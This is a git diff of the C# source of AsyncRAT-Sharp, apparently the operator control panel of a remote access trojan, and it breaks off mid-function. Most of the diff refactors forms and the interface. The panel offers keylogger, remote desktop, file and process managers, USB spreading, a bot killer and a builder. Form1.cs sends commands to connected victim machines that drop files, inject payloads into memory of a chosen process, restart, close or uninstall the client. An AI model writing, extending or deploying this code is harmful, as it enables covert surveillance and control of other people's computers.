diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index aa78eac..4dd8991 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -62,17 +62,23 @@ - + Form - - Builder.cs + + FormAbout.cs - + Form - - FileManager.cs + + FormBuilder.cs + + + Form + + + FormFileManager.cs Form @@ -80,35 +86,35 @@ Form1.cs - + Form - - Keylogger.cs + + FormKeylogger.cs - + Form - - PortsFrm.cs + + FormPorts.cs - + Form - - ProcessManager.cs + + FormProcessManager.cs - + Form - - RemoteDesktop.cs + + FormRemoteDesktop.cs - + Form - - DownloadFile.cs + + FormDownloadFile.cs @@ -120,11 +126,11 @@ - + Form - - SendFileToMemory.cs + + FormSendFileToMemory.cs True @@ -164,37 +170,40 @@ - - Builder.cs + + FormAbout.cs - - FileManager.cs + + FormBuilder.cs + + + FormFileManager.cs Form1.cs - - Keylogger.cs + + FormKeylogger.cs - - PortsFrm.cs + + FormPorts.cs - - ProcessManager.cs + + FormProcessManager.cs - - RemoteDesktop.cs + + FormRemoteDesktop.cs - - DownloadFile.cs + + FormDownloadFile.cs ResXFileCodeGenerator Designer Resources.Designer.cs - - SendFileToMemory.cs + + FormSendFileToMemory.cs @@ -215,6 +224,22 @@ + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index 7dd9899..c33c667 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -57,6 +57,8 @@ this.uSBSPREADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.ping = new System.Windows.Forms.Timer(this.components); @@ -67,13 +69,21 @@ this.listView2 = new System.Windows.Forms.ListView(); this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); + this.listView3 = new System.Windows.Forms.ListView(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); this.tabPage1.SuspendLayout(); this.tabPage2.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.contextMenuStrip2.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).BeginInit(); this.SuspendLayout(); @@ -97,7 +107,7 @@ this.listView1.Name = "listView1"; this.listView1.ShowGroups = false; this.listView1.ShowItemToolTips = true; - this.listView1.Size = new System.Drawing.Size(988, 303); + this.listView1.Size = new System.Drawing.Size(1154, 396); this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; @@ -156,10 +166,11 @@ this.bOTKILLERToolStripMenuItem, this.uSBSPREADToolStripMenuItem, this.toolStripSeparator2, - this.bUILDERToolStripMenuItem}); + this.bUILDERToolStripMenuItem, + this.toolStripSeparator3, + this.aBOUTToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.ShowImageMargin = false; - this.contextMenuStrip1.Size = new System.Drawing.Size(275, 376); + this.contextMenuStrip1.Size = new System.Drawing.Size(283, 412); // // cLIENTOPTIONSToolStripMenuItem // @@ -168,9 +179,10 @@ this.rESTARTToolStripMenuItem, this.uPDATEToolStripMenuItem, this.uNISTALLToolStripMenuItem}); + this.cLIENTOPTIONSToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.client; this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem"; - this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.cLIENTOPTIONSToolStripMenuItem.Text = "[$] CLIENT OPTIONS"; + this.cLIENTOPTIONSToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.cLIENTOPTIONSToolStripMenuItem.Text = "CLIENT OPTIONS"; // // cLOSEToolStripMenuItem // @@ -203,98 +215,122 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(271, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(279, 6); // // vISITWEBSITEToolStripMenuItem // + this.vISITWEBSITEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.visit; this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem"; - this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.vISITWEBSITEToolStripMenuItem.Text = "[0] VISIT WEBSITE"; + this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.vISITWEBSITEToolStripMenuItem.Text = "VISIT WEBSITE"; this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click); // // sENDMESSAGEBOXToolStripMenuItem // + this.sENDMESSAGEBOXToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.msgbox; this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem"; - this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDMESSAGEBOXToolStripMenuItem.Text = "[1] SEND MESSAGEBOX"; + this.sENDMESSAGEBOXToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDMESSAGEBOXToolStripMenuItem.Text = "SEND MESSAGEBOX"; this.sENDMESSAGEBOXToolStripMenuItem.Click += new System.EventHandler(this.sENDMESSAGEBOXToolStripMenuItem_Click); // // sENDFILEToolStripMenuItem // + this.sENDFILEToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem; this.sENDFILEToolStripMenuItem.Name = "sENDFILEToolStripMenuItem"; - this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILEToolStripMenuItem.Text = "[2] SEND FILE TO DISK"; + this.sENDFILEToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILEToolStripMenuItem.Text = "SEND FILE TO DISK"; this.sENDFILEToolStripMenuItem.Click += new System.EventHandler(this.sENDFILEToolStripMenuItem_Click_1); // // sENDFILETOMEMORYToolStripMenuItem // + this.sENDFILETOMEMORYToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.tomem1; this.sENDFILETOMEMORYToolStripMenuItem.Name = "sENDFILETOMEMORYToolStripMenuItem"; - this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.sENDFILETOMEMORYToolStripMenuItem.Text = "[3] SEND FILE TO MEMORY"; + this.sENDFILETOMEMORYToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY"; this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click); // // rEMOTEDESKTOPToolStripMenuItem // + this.rEMOTEDESKTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.remotedesktop; this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem"; - this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.rEMOTEDESKTOPToolStripMenuItem.Text = "[4] REMOTE DESKTOP"; + this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP"; this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click); // // kEYLOGGERToolStripMenuItem // + this.kEYLOGGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.logger; this.kEYLOGGERToolStripMenuItem.Name = "kEYLOGGERToolStripMenuItem"; - this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.kEYLOGGERToolStripMenuItem.Text = "[5] KEYLOGGER"; + this.kEYLOGGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.kEYLOGGERToolStripMenuItem.Text = "KEYLOGGER"; this.kEYLOGGERToolStripMenuItem.Click += new System.EventHandler(this.KEYLOGGERToolStripMenuItem_Click); // // fILEMANAGERToolStripMenuItem // + this.fILEMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.filemanager; this.fILEMANAGERToolStripMenuItem.Name = "fILEMANAGERToolStripMenuItem"; - this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.fILEMANAGERToolStripMenuItem.Text = "[6] FILE MANAGER"; + this.fILEMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.fILEMANAGERToolStripMenuItem.Text = "FILE MANAGER"; this.fILEMANAGERToolStripMenuItem.Click += new System.EventHandler(this.fILEMANAGERToolStripMenuItem_Click); // // pROCESSMANAGERToolStripMenuItem // + this.pROCESSMANAGERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.process; this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem"; - this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.pROCESSMANAGERToolStripMenuItem.Text = "[7] PROCESS MANAGER"; + this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER"; this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click); // // bOTKILLERToolStripMenuItem // + this.bOTKILLERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.botkiller; this.bOTKILLERToolStripMenuItem.Name = "bOTKILLERToolStripMenuItem"; - this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.bOTKILLERToolStripMenuItem.Text = "[8] BOT KILLER"; + this.bOTKILLERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bOTKILLERToolStripMenuItem.Text = "BOT KILLER"; this.bOTKILLERToolStripMenuItem.Click += new System.EventHandler(this.BOTKILLERToolStripMenuItem_Click); // // uSBSPREADToolStripMenuItem // + this.uSBSPREADToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.usb; this.uSBSPREADToolStripMenuItem.Name = "uSBSPREADToolStripMenuItem"; - this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.uSBSPREADToolStripMenuItem.Text = "[9] USB SPREAD"; + this.uSBSPREADToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.uSBSPREADToolStripMenuItem.Text = "USB SPREAD"; this.uSBSPREADToolStripMenuItem.Click += new System.EventHandler(this.USBSPREADToolStripMenuItem_Click); // // toolStripSeparator2 // this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(271, 6); + this.toolStripSeparator2.Size = new System.Drawing.Size(279, 6); // // bUILDERToolStripMenuItem // + this.bUILDERToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(274, 30); - this.bUILDERToolStripMenuItem.Text = "[#] BUILDER"; + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(279, 6); + // + // aBOUTToolStripMenuItem + // + this.aBOUTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.info; + this.aBOUTToolStripMenuItem.Name = "aBOUTToolStripMenuItem"; + this.aBOUTToolStripMenuItem.Size = new System.Drawing.Size(282, 30); + this.aBOUTToolStripMenuItem.Text = "ABOUT"; + this.aBOUTToolStripMenuItem.Click += new System.EventHandler(this.ABOUTToolStripMenuItem_Click); + // // statusStrip1 // this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel1}); - this.statusStrip1.Location = new System.Drawing.Point(0, 342); + this.statusStrip1.Location = new System.Drawing.Point(0, 435); this.statusStrip1.Name = "statusStrip1"; - this.statusStrip1.Size = new System.Drawing.Size(1002, 30); + this.statusStrip1.Size = new System.Drawing.Size(1168, 30); this.statusStrip1.TabIndex = 1; this.statusStrip1.Text = "statusStrip1"; // @@ -307,7 +343,7 @@ // ping // this.ping.Enabled = true; - this.ping.Interval = 50000; + this.ping.Interval = 30000; this.ping.Tick += new System.EventHandler(this.ping_Tick); // // UpdateUI @@ -320,11 +356,12 @@ // this.tabControl1.Controls.Add(this.tabPage1); this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(1002, 342); + this.tabControl1.Size = new System.Drawing.Size(1168, 435); this.tabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; this.tabControl1.TabIndex = 2; // @@ -334,7 +371,7 @@ this.tabPage1.Location = new System.Drawing.Point(4, 29); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(994, 309); + this.tabPage1.Size = new System.Drawing.Size(1160, 402); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Clients"; // @@ -344,7 +381,7 @@ this.tabPage2.Location = new System.Drawing.Point(4, 29); this.tabPage2.Name = "tabPage2"; this.tabPage2.Padding = new System.Windows.Forms.Padding(3); - this.tabPage2.Size = new System.Drawing.Size(994, 309); + this.tabPage2.Size = new System.Drawing.Size(1160, 402); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Logs"; this.tabPage2.UseVisualStyleBackColor = true; @@ -363,7 +400,7 @@ this.listView2.Name = "listView2"; this.listView2.ShowGroups = false; this.listView2.ShowItemToolTips = true; - this.listView2.Size = new System.Drawing.Size(988, 303); + this.listView2.Size = new System.Drawing.Size(1154, 396); this.listView2.TabIndex = 1; this.listView2.UseCompatibleStateImageBehavior = false; this.listView2.View = System.Windows.Forms.View.Details; @@ -378,6 +415,47 @@ this.columnHeader2.Text = "Message"; this.columnHeader2.Width = 705; // + // tabPage3 + // + this.tabPage3.Controls.Add(this.listView3); + this.tabPage3.Location = new System.Drawing.Point(4, 29); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(1160, 402); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Thumbnail"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // contextMenuStrip2 + // + this.contextMenuStrip2.ImageScalingSize = new System.Drawing.Size(24, 24); + this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.sTARTToolStripMenuItem, + this.sTOPToolStripMenuItem}); + this.contextMenuStrip2.Name = "contextMenuStrip2"; + this.contextMenuStrip2.Size = new System.Drawing.Size(144, 64); + // + // sTARTToolStripMenuItem + // + this.sTARTToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.play_button; + this.sTARTToolStripMenuItem.Name = "sTARTToolStripMenuItem"; + this.sTARTToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTARTToolStripMenuItem.Text = "START"; + this.sTARTToolStripMenuItem.Click += new System.EventHandler(this.STARTToolStripMenuItem_Click); + // + // sTOPToolStripMenuItem + // + this.sTOPToolStripMenuItem.Image = global::AsyncRAT_Sharp.Properties.Resources.stop__1_; + this.sTOPToolStripMenuItem.Name = "sTOPToolStripMenuItem"; + this.sTOPToolStripMenuItem.Size = new System.Drawing.Size(143, 30); + this.sTOPToolStripMenuItem.Text = "STOP"; + this.sTOPToolStripMenuItem.Click += new System.EventHandler(this.STOPToolStripMenuItem_Click); + // + // imageList1 + // + this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth16Bit; + this.imageList1.ImageSize = new System.Drawing.Size(256, 256); + this.imageList1.TransparentColor = System.Drawing.Color.Transparent; + // // performanceCounter1 // this.performanceCounter1.CategoryName = "Processor"; @@ -389,17 +467,31 @@ this.performanceCounter2.CategoryName = "Memory"; this.performanceCounter2.CounterName = "% Committed Bytes In Use"; // + // listView3 + // + this.listView3.ContextMenuStrip = this.contextMenuStrip2; + this.listView3.Dock = System.Windows.Forms.DockStyle.Fill; + this.listView3.LargeImageList = this.imageList1; + this.listView3.Location = new System.Drawing.Point(0, 0); + this.listView3.Name = "listView3"; + this.listView3.ShowItemToolTips = true; + this.listView3.Size = new System.Drawing.Size(1160, 402); + this.listView3.SmallImageList = this.imageList1; + this.listView3.TabIndex = 0; + this.listView3.UseCompatibleStateImageBehavior = false; + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1002, 372); + this.ClientSize = new System.Drawing.Size(1168, 465); this.Controls.Add(this.tabControl1); this.Controls.Add(this.statusStrip1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "Form1"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "AsyncRAT-Sharp // NYAN CAT"; + this.Text = "AsyncRAT-Sharp"; + this.Activated += new System.EventHandler(this.Form1_Activated); + this.Deactivate += new System.EventHandler(this.Form1_Deactivate); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); this.contextMenuStrip1.ResumeLayout(false); @@ -408,6 +500,8 @@ this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); + this.tabPage3.ResumeLayout(false); + this.contextMenuStrip2.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.performanceCounter2)).EndInit(); this.ResumeLayout(false); @@ -456,6 +550,14 @@ private System.Windows.Forms.ToolStripMenuItem vISITWEBSITEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem; public System.Windows.Forms.ColumnHeader lv_prefor; + private System.Windows.Forms.ToolStripMenuItem aBOUTToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip2; + private System.Windows.Forms.ToolStripMenuItem sTARTToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem sTOPToolStripMenuItem; + public System.Windows.Forms.ImageList imageList1; + public System.Windows.Forms.ListView listView3; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index a79b60f..355dd86 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -11,6 +11,7 @@ using System.IO; using AsyncRAT_Sharp.Forms; using AsyncRAT_Sharp.Cryptography; using System.Diagnostics; +using System.Net.Sockets; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -24,7 +25,6 @@ namespace AsyncRAT_Sharp public partial class Form1 : Form { - private static Builder builder = new Builder(); public Form1() { CheckFiles(); @@ -33,6 +33,8 @@ namespace AsyncRAT_Sharp } private Listener listener; + private bool trans; + private static System.Threading.Timer tick; private void CheckFiles() { @@ -63,28 +65,37 @@ namespace AsyncRAT_Sharp } } - private void Form1_Load(object sender, EventArgs e) + private async void Form1_Load(object sender, EventArgs e) { - Text = $"{Settings.Version} // NYAN CAT"; - - PortsFrm portsFrm = new PortsFrm(); + Text = $"{Settings.Version}"; + FormPorts portsFrm = new FormPorts(); portsFrm.ShowDialog(); - Methods.FadeIn(this, 5); + await Methods.FadeIn(this, 5); + trans = true; Settings.Port = portsFrm.textPorts.Text; Settings.Password = portsFrm.textPassword.Text; - Settings.aes256 = new Aes256(Settings.Password); + Settings.AES = new Aes256(Settings.Password); - string[] P = Settings.Port.Split(','); - foreach (var PORT in P) + string[] ports = Settings.Port.Split(','); + try { - if (!string.IsNullOrWhiteSpace(PORT)) + foreach (var port in ports) { - listener = new Listener(); - Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); - thread.Start(Convert.ToInt32(PORT.ToString().Trim())); + if (!string.IsNullOrWhiteSpace(port)) + { + listener = new Listener(); + Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); + thread.IsBackground = true; + thread.Start(Convert.ToInt32(port.ToString().Trim())); + } } } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + Environment.Exit(0); + } } @@ -114,19 +125,14 @@ namespace AsyncRAT_Sharp } - private async void ping_Tick(object sender, EventArgs e) + private void ping_Tick(object sender, EventArgs e) { - if (Settings.Online.Count > 0) + if (listView1.SelectedItems.Count > 0) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = "This is a ping!"; - foreach (Clients CL in Settings.Online.ToList()) + foreach (ListViewItem itm in listView1.Items) { - await Task.Run(() => - { - CL.BeginSend(msgpack.Encode2Bytes()); - }); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Ping); } } } @@ -134,7 +140,7 @@ namespace AsyncRAT_Sharp private void UpdateUI_Tick(object sender, EventArgs e) { - toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; + toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) @@ -143,10 +149,10 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "close"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } @@ -163,10 +169,10 @@ namespace AsyncRAT_Sharp MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMessage"; msgpack.ForcePathObject("Message").AsString = Msgbox; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } @@ -178,25 +184,30 @@ namespace AsyncRAT_Sharp { try { - OpenFileDialog O = new OpenFileDialog(); - if (O.ShowDialog() == DialogResult.OK) + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); msgpack.ForcePathObject("Update").AsString = "false"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + foreach (string file in openFileDialog.FileNames) + { + await msgpack.ForcePathObject("File").LoadFileAsBytes(file); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(file); + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); + } } } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -209,15 +220,16 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "uninstall"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -230,10 +242,10 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "restart"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } catch (Exception ex) @@ -249,25 +261,26 @@ namespace AsyncRAT_Sharp { try { - OpenFileDialog O = new OpenFileDialog(); - if (O.ShowDialog() == DialogResult.OK) + OpenFileDialog openFileDialog = new OpenFileDialog(); + if (openFileDialog.ShowDialog() == DialogResult.OK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName); - msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName); + await msgpack.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName); + msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName); msgpack.ForcePathObject("Update").AsString = "true"; - foreach (ListViewItem C in listView1.SelectedItems) + foreach (ListViewItem itm in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + Clients client = (Clients)itm.Tag; + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.BeginSend, msgpack.Encode2Bytes()); } } } catch (Exception ex) { MessageBox.Show(ex.Message); + return; } } } @@ -278,36 +291,37 @@ namespace AsyncRAT_Sharp { try { - SendFileToMemory SF = new SendFileToMemory(); - SF.ShowDialog(); - if (SF.toolStripStatusLabel1.Text.Length > 0 && SF.toolStripStatusLabel1.ForeColor == Color.Green) + FormSendFileToMemory formSend = new FormSendFileToMemory(); + formSend.ShowDialog(); + if (formSend.toolStripStatusLabel1.Text.Length > 0 && formSend.toolStripStatusLabel1.ForeColor == Color.Green) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; - msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(SF.toolStripStatusLabel1.Tag.ToString())); - if (SF.comboBox1.SelectedIndex == 0) + msgpack.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())); + if (formSend.comboBox1.SelectedIndex == 0) { msgpack.ForcePathObject("Inject").AsString = ""; msgpack.ForcePathObject("Plugin").SetAsBytes(new byte[1]); } else { - msgpack.ForcePathObject("Inject").AsString = SF.comboBox2.Text; + msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; 